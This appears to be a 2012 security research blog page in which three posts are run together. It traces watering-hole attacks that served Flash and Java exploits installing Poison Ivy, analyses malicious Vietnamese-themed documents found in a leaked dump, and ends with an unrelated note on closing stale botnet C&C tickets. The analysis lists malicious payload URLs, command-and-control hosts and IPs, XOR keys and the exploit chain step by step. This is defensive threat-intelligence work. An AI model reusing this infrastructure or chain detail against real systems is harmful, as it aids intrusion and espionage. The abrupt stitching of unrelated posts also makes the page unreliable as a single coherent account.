We must warn against visiting the exploit sites listed in this blog as well as the compromised websites (until clean) as well. At the time of this writing (the morning of May 14, 2012) the websites for the Center for Defense Information, Amnesty International Hong Kong, and the Cambodian Ministry of Foreign Affairs ASEAN 2012 are compromised and serving one of the hostile iFrames. Visiting these websites can initiate a chain reaction in which malicious code is loaded from multiple websites and results in a system compromise for vulnerable systems without other mitigating factors.

Amnesty International Hong Kong (AIHK)

Last week Websense reported that the main page of the Amnesty International United Kingdom (AIUK) website was compromised and serving Java exploits. Working with Websense we happened upon a Flash exploit site hosted on the webserver of a Library in Romanian (seen in iFrame picture above). We were able to track this exploit site back to an iFrame on the Amnesty International Hong Kong’s (AIHK) Chinese Language pages (www.amnesty.org.hk/chi). The main website no longer appears to be serving exploit code, however, the portion of the website that is in Chinese serves up this new Flash exploit code. While we do not have any direct ties between the attackers that compromised the AIUK website last week, we can see a clear connection between the attackers that have currently compromised the AIHK website and the attackers that compromised the AIUK website late last year. The AIUK compromise was detailed in a report by Brian Krebs late last year. In this most recent attack, malicious HTML is loaded by the AIHK website from www.bjc.ro (86.122.14.140). The page in turn makes a connection to 71.6.131.8:80 and then downloads an XOR (0×95) encoded executable from www.bjc.ro. The malicious executable drops a backdoor that phones home to glogin.ddns.us.

Center for Defense Information (CDI)

The website of the Center for Defense Information (CDI), www.cdi.org, a DC-based NGO that researches Defense and Security policy has been compromised multiple times in the last few weeks. The CDI website is currently serving up a malicious Flash exploit that ties back attackers known to engage in cyber espionage. This threat group appears to be interested in targets with a tie to foreign policy and defense activities. Also interesting is that the website housing the malicious Flash exploit ties back to Gannet Company, Inc. and USA Today (159.54.62.92). Additional components of the exploit chain are located on systems that reside in Korea (222.239.73.36:443) and Austria (www.audioelectronic.com/213.33.76.135). Ultimately, if the exploit chain is successful, a variant of the popular Poison Ivy remote access trojan (RAT) is installed on the system. The Poison Ivy RAT phones home to windows.ddns.us (currently hosted on the Korean IP address 222.122.68.8).

Note: The main websites related to USA Today and Gannet Company, Inc do not appear to be affected.

The image below details the exploit chain for this particular compromise. It can be used a general guidance to understand how these exploits work in general as well.

cdi.org Exploit Chain (click to enlarge)

A prior compromise of the CDI website redirected victims, via a hidden iframe, to Java exploit (CVE-2012-0507) host at 194.183.224.73. This exploit chain dropped a Poison Ivy RAT that connected to a command and control server at ids.ns01.us.

Cambodian Ministry of Foreign Affairs (MFA) – ASEAN 2012

The website for the Cambodian Ministry of Foreign Affairs (MFA), www.asean2012.mfa.gov.kh, has also been compromised to point to both Flash and Java exploits. Both the Flash and Java exploits were identical to those hosted on the CDI website.

(UPDATE: We’d like to extend a special thanks to our friend Kurt Baumgartner at Kaspersky Labs for providing details related to this compromised website.)

International Institute for Counter-Terrorism (ICT)

The websites for the International Institute of Counter-Terrorism at the Interdisciplinary Center (IDC) in Herzliya, Israel, www.ict.org.il, is also currently compromised and is housing a Java exploit (CVE-2012-0507). In this attack the website has a JavaScript file that has been modified to contain obfuscated script that points to an exploit file hosted on the website of the U.S.-based Auto Association. If the exploit is successful another Poison Ivy RAT is installed on the system. The malware from this installation calls back to javaup.updates.dns05.com. The keylogger for the RAT is not enabled by default.

Other Recent Compromises by Same Attackers

In the past few weeks there have been several other websites that have been compromised by the same set of attackers responsible for the malicious code listed above. The primary exploits used in these attacks again targeted CVE-2012-0779 and CVE-2012-0507. These websites appear to have been cleaned up at the time of this writing. We would also like to note that while investigating the AIHK compromise, we found artifacts indicating that APT attackers are likely targeting the International Service for Human Rights (ISHR). We proactively scanned through three websites associated with ISHR in Germany (DE), Switzerland (CH), and the United States (US) and did not find any indication of compromise. However, we urge people from this organization and similar organizations to remain vigilant for web and e-mail based attacks.

American Research Center in Egypt (ARCE)

Google-cache results indicate that the American Research Center in Egypt, www.acre.org, was briefly compromised last week with an iframe pointing the the Gannett/USA Today site that had also been found on the CDI website. The compromised page’s content is still in Google’s cache and is dated May 7, 2012.

Institute for National Security Studies (INSS)

Earlier this month the Israeli website for the Institute for National Security Studies (INSS), www.inss.org.il, fell victim to APT attackers and was housing JavaScript that loaded the same iFrame code that is currently on the Cambodian MFA ASEAN 2012 website. The compromise was detailed by Websense on May 2, 2012. As previously noted, this exploit would load malicious code from a Belgium webserver located at the IP address 194.183.224.73.

The Centre for European Policy Studies (CEPS)

Earlier this month the Centre for European Policy Studies (CEPS), www.ceps.eu, was also compromised with the same code that pointing back to the malicious Belgium server located at 194.183.224.73. This website also appears to have been cleaned since and has not been observed hosting Flash exploits.

A Closer Look at the Most Recent Flash Exploit (CVE-2012-0779)

On May 4, 2012, Adobe Product Security Bulletin 12-09 (APSB12-09) was released patching a critical vulnerability in Adobe Flash. At the time of this patch release, there were already reports of this exploit being used in the wild in targeted attacks. Since this time we have observed this exploit being used in several different targeted attacks, many of which are detailed above in this post. The exploit has some interesting similarities to a previous Flash exploit that was used in targeted attackers  (CVE-2011-2110). We previously detailed this exploit in a blog post last June. We will detail the exploit by breaking down the exploit chain as seen in the CDI compromise image above in six different steps (step 0 – 5). Additional we will denote some other interesting artifacts discovered from decompiling the Flash exploit file.

Step 0:

The initial step in the process is for the attacker to compromise their strategically determined website. This may be done as a target of opportunity (several sites of interest but only one with a vulnerability), as a result of already having a foothold in a particular infrastructure (compromised internal infrastructure or web admin), or due to heavy scanning and targeting of a specific selected website until access is gained (vulnerability, cracked password, misconfiguration, etc.). The attackers frequently either have full control of the website or perfor SQL injection attacks to add links to their malicious code. In the case of the CDI website, we do not know how the attackers gained access to the websites. However, they were able to place the most recent iframe link at the very top of the homepage.

Step 1:

Unsuspecting user visits the website www.cdi.org. Along with all of the legitimate content of the website, malicious iframe pointing to http://159.54.62.92/images/image.html is sent to the user’s browser.

Step 2:

The user’s browser will make a request for “/images/image.html” on the 159.54.62.92 webserver. This in turn will check the user’s browser to see if they have particular versions of Windows:

As seen in the snippet above, the Flash file (BrightBalls.swf) has two parameters: “Elderwood” and “birthday“. Both parameters appear to have hex values. However, these values do not simpl decode back to readily strings. The first parameter, Elderwood, is identical to what we saw with CVE-2011-2110. The value is an address that has been ZLIB compressed and then XOR encoded with 0x7A. The Elderwood value decodes to 222.239.73.36:443. The second parameter, birthday, is a URL that is XOR encoded with 0xE2 and decodes to http://www.audioelectronic.com/download/images/f/flash.gif.

Step 3:

The unsuspecting user’s Flash decodes the aforementioned Elderwood value and initiates a Real Time Messaging Protocol (RTMP) connection to 222.239.73.36 on TCP port 443. The attacker must have the server listening and responding to complete the exploit chain for it to move on to the next step. The communication on port 443 is not encrypted or SSL/TLS and would stand out if looking through network traffic. The Elderwood value can decode to an IP or DNS port pair and is not restricted to any particular port.

Step 4:

After successfully completing the RMTP communications, the birthday parameter from the SWF file is decoded and the system downloads /download/images/f/flash.gif from www.audioelectronic.com. Needless to say, this GIF file is not actually an image. It is an EXE file that has been XOR’d with 0×95.

Step 5:

Once the system has XOR’d the flash.gif file, it now has a valid Poison Ivy RAT binary. The RAT is installed to the system and begins to beacon to windows.ddns.us on TCP port 443.

A Look into the SWF File

The malicious SWF file found on each exploit site referenced above (as well as a few not listed) are all the same file. The details of the file are as follows:

Filename: BrightBalls.swf
File Size: 8884
MD5:  1EC5141051776EC9092DB92050192758
SHA1: 5523b0d94d4ed3ddbb3eb6ad40640ded318c8ea7

A closer look into this file reveals some interesting information. We we able to use two different basic techniques to extract the metadata from these flash files. The first technique leveraged the free tool flasm available at http://www.nowrap.de/flasm.html. Running this tool with the –d parameter  will disassemble the specified flash file. Alternatively, as a second technique, we were able to use 7zip to extract the raw flash file with the metadata still intact.

$ flasm -d BrightBalls.swf > BrightBalls.out

The following metadata can be observed from the output:

<dc:title>Encrypted by DoSWF</dc:title>
<dc:description>Version:5.0.3\r\nUsername:nxianguo1985@163.com.fr\r\n
Index:http://www.doswf.com\r\nAuthor:http://www.laaan.cn</dc:description>

This metadata indicates that the flash exploit was encrypted with DoSWF – a program designed to encrypt Flash files marketed and sold by Yushi High Technology Limited in Beijing, China. There is no reason to believe that this company was involved in the creation of this exploit. However, it appears that the username of nxianguo1985@163.com.fr is the email addressed used to register the particular licensed software installation that produced the malicious flash files. This email address might therefore provide a clue to the identity of an individual involved in the creation of the exploit. However, based on other instances where various clues or artifacts have purposefully been left behind, it is very well possible that this item is a red herring.

Ties to Flash Exploits Found in Microsoft Word Documents

We have also observed CVE-2012-0779 being exploited via Microsoft Word documents. In these examples, Flash code is downloaded and executed from the web and used to carve a malicious binary out of the Word document. Inspection of the Flash files used in these attacks reveals the same metadata to those observed from the strategic web compromises. The example below is from a Microsoft  Word document was used in a targeted attack:

Filename: Upcoming Key Dates.doc
File size: 183906
MD5:  2A93EDCD8DA17511D8ADC6D4A93DB829
SHA1: 6821a3ba27dbb561e819f5d84e3f87721967539e

This Word document contained JavaScript that downloaded a CVE-2012-0779 flash exploit from www.support-office-microsoft.com. The downloaded flash exploit had the following properties:

File: essais.swf
Size: 8005
MD5:  509EE9B8E2BA13B878BFB3CBBA05283D
SHA1: 786087bd6672e58a4920b4f3c642ee1a9d185e7c

While the flash exploit file used in this attack had different properties then the above file used in the drive-by attacks, it had the same metadata linking it to nxianguo1985@163.com.fr and was likely developed by the same author.

Conclusion

In recent months we have continued to observe 0-day vulnerabilities emerging following discovery of their use in the wild to conduct cyber espionage attacks. Frequently by the time a patch is released for the vulnerabilities, the exploit has already been the wild for multiple weeks or months — giving the attackers a very large leg up. Individuals and organizations must keep their software patched and updated as frequently as possible. Many of these attackers are quite skilled at moving laterally within and organization and will take advantage of any entry point they have into a network. We recommend that you keep systems patched automatically if possible and are doing so for both the  Operating System (OS) and Applications. Add-ons/plug-ins for browsers and e-mail clients should also be kept up-to-date. Additionally moving to one of the most recent operatingsystems on Mac, Windows, and Linux and consider installing the 64-bit platform, if possible, is recommended. Users and organizations should consider deploying Microsoft’s Enhanced Mitigation Experience Toolkit (EMET).

Cyber Espionage attacks are not a fabricated issue and are not going away any time soon. These attackers are not spreading malware through strategically compromised websites to make friends. They are aiming to expand their access and steal data. Communications (primarily e-mail), research and development (R&D), intellectual property (IP), and business intelligence (contracts, negotiations, etc) are frequently targeted and stolen. Take the cyber espionage threat seriously and not as just something you read about occasionally. The problem is vastly understated. Considered boosting your defenses in any way possible and putting extra protection mechanisms around your most valued assets. While all of the above activity can be characterized as related to advanced threats or APT, it is important to note that there is not a single monolithic group responsible for all of these attacks. Although detailing each of these groups is beyond the scope of this post, we feel that the indicators provided here should give you the information required to detect these most recent threats and provide additional considerations for mitigating these threats.

This entire turn of events has raised more questions than they have answered. Are the documents legitimate? Where were they originally stolen from? If these were really stolen twice, who stole them first? We unfortunately do not have the answer to any of these questions. However, one thing we do have are words of caution and some interesting information about a handful of the documents found in this dump. Within the document dump in a folder related to Vietnam are 11 malicious documents (8 unique) that exploit vulnerabilities (CVE-2010-3333 and CVE-2009-3129) in Microsoft Office to install malware. These documents installed four different types of backdoors that reported back to six distinct command and control servers. Two of the backdoors were unfamiliar two us and the other two were the well known Poison Ivy RAT and the Enfal/Lurid. At least one hostname could be tied back to a known set of persistent actors engaged in cyber espionage.

Malicious Documents Details

The initial file CEIECOWNED_PT1.rar contained over 1200 documents split up into multiple folders. All 11 of the malicious documents were found in a folder named MONRE_VIETNAM_PT1. Below are the details of each of the malicious documents along with the hostname or IP address that the dropped backdoors attempt to communicate with. Note that each command and control server that used DNS utilized a free China or US-based dynamic DNS provider.

<strong>Filename:</strong> CV gui bao cao LD.doc
<strong>File size:</strong> 49980 bytes
<strong>MD5 hash:</strong> 2e454ea0c0d3fadfc478e8695400df40
<strong>SHA-1 hash:</strong> 0dc324cf2efae2bc7dc29fe26f616decd765d66a
<strong>SHA-256 hash:</strong> 8c26bf867e70f2e3511bd295c2c56abca51ab008b88d7a9e80b99ca240f79773
<strong>Exploit:</strong> CVE-2010-3333
<strong>Additional Filename:</strong> CV gui bao cao LD(1).doc
<strong>CALLBACK/C2:</strong> kullywolf.gicp.net:81

<strong>Filename:</strong> Danh sach.doc
<strong>File size:</strong> 53052 bytes
<strong>MD5 hash:</strong> 32f5ad4f09135fcdde86ecd4c466a993
<strong>SHA-1 hash:</strong> d3311b97aa10d759bbf704c0a3c4c2cef3f997a6
<strong>SHA-256 hash:</strong> 15f9f9f3e617d84083e6ac3652dfa9090f236ca8879a66654464a5b781318df5
<strong>Exploit:</strong> CVE-2010-3333
<strong>CALLBACK/C2:</strong> congtytancang.uicp.net:81	

<strong>Filename:</strong> Computer virus attacks on rise.doc
<strong>File size:</strong> 71931 bytes
<strong>MD5 hash:</strong> d824988793146a25d026eb12759dbab0
<strong>SHA-1 hash:</strong> 3ce24923dc478afb30d8105303f51c958856da52
<strong>SHA-256 hash:</strong> e4e123a6757e041a5c1c053e2770f89b08ad2b58661e0044b29965d480f5100e
<strong>Exploit:</strong> CVE-2010-3333
<strong>CALLBACK/C2:</strong> www.ollay011.zyns.com:7000

<strong>Filename:</strong> Danh sach can bo tham gia du tuyen thac sy 2011.xls
<strong>File size:</strong> 87063 bytes
<strong>MD5 hash:</strong> 1423113c5b7176cef19f989f76a020c4
<strong>SHA-1 hash:</strong> 608ed5cb5b8497f3bc483d1c2a91a34a09abd828
<strong>SHA-256 hash:</strong> 761d8cbb4cd95bf520584ca5ec3036ae9fd9a9cefdf4ae9e79b060db3a673b28
<strong>Exploit:</strong> CVE-2009-3129
<strong>CALLBACK/C2:</strong> 64.56.70.254:80 (Backup: 173.252.204.85:8089, 216.70.255.201:8089, 216.70.128.124:8089, 58.137.153.115:8089, 64.56.70.253:80)'''

<strong>Filename:</strong> De an 928.doc
<strong>File size:</strong> 250880 bytes
<strong>MD5 hash:</strong> cd80a451990f17f6684d5b100de6ece0
<strong>SHA-1 hash:</strong> 436047e74948181d8a2ba91f0c044c4b4e9e1865
<strong>SHA-256 hash:</strong> 51f495acd08195a04671fb7eb808a5697f3be8877e9d5254d38241147d2b51f1
<strong>Exploit:</strong> CVE-2010-3333
<strong>CALLBACK/C2:</strong> l1x.lflinkup.net:80

<strong>Filename:</strong> Hop dong cung cap thiet bi(done).doc
<strong>File size:</strong> 162304 bytes
<strong>MD5 hash:</strong> 2332ebd103a963d5494ddb431e8b05b7
<strong>SHA-1 hash:</strong> bc289ea12d9afdae9f7503309a9d142b0c247ca7
<strong>SHA-256 hash:</strong> cff1035db0c190081fc78dde2323a04a39ded675b2029f2572b3c084240aaedb
<strong>Exploit:</strong> CVE-2010-3333
<strong>CALLBACK/C2:</strong> www.ollay011.zyns.com:7000

<strong>Filename:</strong> bao_cao_cong tac_thang 2&amp;ke_hoach_cong_tac thang_3.doc
<strong>File size:</strong> 89916 bytes
<strong>MD5 hash:</strong> 336420283e047155bec94a549cd60ac8
<strong>SHA-1 hash:</strong> 4b8d6693dc6c127ac9f649f3428de6cd6f8aa8e7
<strong>SHA-256 hash:</strong> 2c28cf467d9e42f0182174943ec9e8dc467901020465b2354fdb27ccdaafa0c0
<strong>Exploit:</strong> CVE-2010-3333
<strong>Additional Filename 1:</strong> bao_cao_cong tac_thang 2&amp;ke_hoach_cong_tac thang_3(1).doc
<strong>Additional Filename 2:</strong> tong hop nhan su bo nhiem cap phong cap vu.doc
<strong>CALLBACK/C2:</strong> front11.gicp.net:81

<strong>Filename:</strong> tt_cap nhat danh sach moi.doc
<strong>File size:</strong> 66364 bytes
<strong>MD5 hash:</strong> d916409f960d3fc3263b32fe32b4bf20
<strong>SHA-1 hash:</strong> 42a767745bff3e8a1f5f42d1340eb4db4ed3e57c
<strong>SHA-256 hash:</strong> 8e8f15980af335727dec14d9c2fed218cbc699aa7f41dae42d9cf96e7b663da4
<strong>Exploit:</strong> CVE-2010-3333
<strong>CALLBACK/C2:</strong> front11.gicp.net:81

A Look at the Dropped Malware

Poison Ivy

Two out of the nine unique samples installed the popular Poison Ivy RAT upon successful exploitation. Both samples beacon back to www.ollay011.zyns.com, which at the time of this writing and since last Thursday has resolved to 64.71.138.240 (Hurricane Electric, US). A closer look at the configuration of this Poison Ivy instance shows that it was setup to use the default password of ‘admin’, wrote itself to C:\WINDOWS\explorer.exe and started a keylogger that gets saved as C:\WINDOWS\explorer.

Enfal/Lurid

One of the samples installed the far less common, but very well known, Enfal/Lurid trojan. This particular trojan has been frequently associated with targeting of the Tibetan community, the India Government, and other governments and industries in specific geo-locations. It’s previously been discussed over the last four years in theISC Sans Diary, the Shadows in the Clouds Report, and the Trend Micro Lurid Downloader Report. The sample from these files used l1x.lflinkup.net as the command and control server to report in information about this system. At the time of this writing the hostname resolved to 123.120.105.120, a dynamic IP address pool in China. Tracking this hostname back for several months, we can see it has resolved to numerous other short-lived dynamic IP addresses in China. It is also interesting to note that along with the Vietnamese file names, this malware samples installed itself as C:\Program Files\UniKey 2000\UniKey.exe. UniKey is a software-based Vietnamese keyboard for Windows. We can speculate that there is likely actors utilizing the Enfal/Lurid trojan to engage in persistent targeting of Vietnamese interests.

Unknown/Unnamed

A backdoor for which we do not have a name was observed in six out of the nine samples, all using the CVE-2010-3333 exploit to drop their payloads. Once installed the malware seemed to copy itself into the User’s Application Data folder, as well as at least one other location on the system (often in Program Files). The malware always appears to write a configuration file with the name name msgslang.db. A search for this file name on the web shows several other similar or related samples. The samples that installed this backdoor all beaconed back to one of these DNS names front11.gicp.net, congtytancang.uicp.net, or kullywolf.gicp.net. Only the last two have resolved recently congtytancang.uicp.net and kullywolf.gicp.net has actively changed IP addresses several times since last week. At the time of this writing the two hosts names resolve to 112.112.147.16 and 222.172.238.174 respectively. It is worth noting the the third-level of the DNS name congtytancang.uicp.net, appears to be written in Vietnamese and may translate back to something having to do with “Newport” or “Seaport” in English.

Unknown/Tantouma

The single Microsoft Excel exploit in the packet dropped malware that beaconed back to 64.56.70.254 and likely a variety of other embedded IP addresses. This malware samples was not one that we recognized. However, the sample contains several interesting strings, to include “Welcome To TANTOUMA Version 2.2 BY ICU @20110210” and others that indicate the backdoor is designed to collect information from an infected system and provide remote access to it. The sample also had www.google.com.vn in its strings output, lending further credence that some of the files may be related to concerted efforts to persistently target the Vietnamese.

Connection to the Google and RSA Breaches

Did your eyes just get big or roll? Good. Sorry we are just kidding — there’s no connection.

Vietnamese Targeting and Timeline

These nine unique samples from the document dump from Hardcore Charlie appear to lead to multiple different attack campaigns targeting Vietnamese interests. The malicious documents have Vietnamese names and will open legitimate clean versions of the documents in Vietnamese upon successful exploitation. At least one of the trojan samples even saves itself as a file that might blend in on a Vietnamese computer. Another has strings related to the Vietnamese version of Google, while another uses a DNS name that is in Vietnamese as well. We would suspect this may just be the tip of the ice berg.

As for timing — several indicators seem to point to these documents being approximately a year old. The most obvious and more tamper proof piece of evidence being aVirusTotal submission from April 2011. You may note the document from this submission was named BC cua chi binh voi BCS.doc. However, this file has the same MD5 hash of of32f5ad4f09135fcdde86ecd4c466a993, which matches the file was saw named Danh sach.doc. This indicates that his activity is not new and these files may have been unknowingly included in this document dump.

Conclusion

These malicious documents within the data dump raise several questions and can lead to plenty of speculation. Were these malicious documents resident on victim systems from previous targeted APT campaigns and exfiltrated alongside the legitimate documents as part of another cyber espionage operation? Could it be that they were intentionally placed into this data dump? Anything is possible and we do not have all the answers. However, we can tell you that a few of the malware samples had previously been submitted to VirusTotal in early 2011. Additionally meta data of the clean documents dropped by a few of the malware payloads showed that the documents were also created in 2011, indicating that the malicious documents have likely been circulating in the wild for more than year.

Although many questions remain, the following facts are clear:

• A small subset of the documents contained in the purported CEIEC dump are malicious.
• These malicious documents drop a mix of malware families including Poison Ivy, Enfal/Lurid and two unnamed families.
• Some of the malware samples extracted from the CEIEC dump connect to infrastructure used in previous APT campaigns.

These documents just go to show that malicious files can end up pretty much anywhere. We are stating the obvious but remember to exercise caution when viewing files you downloaded from the Internet. Microsoft patched the two vulnerabilities used in these attacks quite some time ago. They patched CVE-2009-3129 with MS09-067 and CVE-2010-3333 with MS10-087. Malicious documents that exploit vulnerabilities in Microsoft Office, Adobe Acrobat [Reader], or components loaded by these pieces of software are still some of the most common ways in which cyber espionage attacks are conducted. Staying current with the latest versions and security patches for any software you run is highly recommended.

We have several reason to do this cleaning and it is important for everyone to understand why this is occurring, and why it will occur in the future. About 98% of the C&C’s we have come from the analysis of malware. When we analyze malware and it has network traffic to an IRC server we record that in our tracking system to be followed up on at a future time.

Our tracking system does several automated checks and keeps the state of the ticket up or down depending on the accessibility of the server. This has several issues.

The first is public servers. Most of the public servers work very hard to identify botnet channels and get them shutdown. So if a piece of malware attempted to access a channel on a public server, most will be gone and inaccessible within a week or less. Our tracking system will however still see the server as up and keep the ticket open.

Our solution up to now has been for our diligent engineers to take each ticket and investigate if there really is a botnet there or not and what action should be taken. Being an all volunteer organization means that everyone has day jobs and the amount that we can test on a daily basis is not a very high number. We can only monitor about 500-600 C&C’s on a daily basis using this method.

While not very efficient, it does insure a high accuracy. Pick one or the other but never both.

So as time progressed we started stacking up C&C’s on public servers. Some began having ages of more than a year. In spot checks we could see many of these were actually gone and killed by the opers of the public servers.

So on to the house cleaning. We know we will not get to a lot of these in any short timeframe for validation, so we closed all of those tickets so that the system would no longer check those C&C’s. There is a concern in doing this that we might be closing our view into actual live C&C’s. This is always a possibility, but if another piece of malware comes to us attempting access to that C&C, the ticket will get re-opened automatically. And starting the process all over again.

So if you look at our charts you can see the large decreases, but also see the numbers slowly start creeping up after each mass closure. These are some of those tickets being re-opened or new C&C’s being added to the system all from new malware collected.

We want everyone to understand our actions and why we do certain things. Especially when it concerns any of our public charts. We much prefer as much transparency as possible as to decrease any confusion or speculation on why are charts suddenly take a plunge.

As always we appreciate any comments, concerns, and criticisms on our actions and activity.

Richard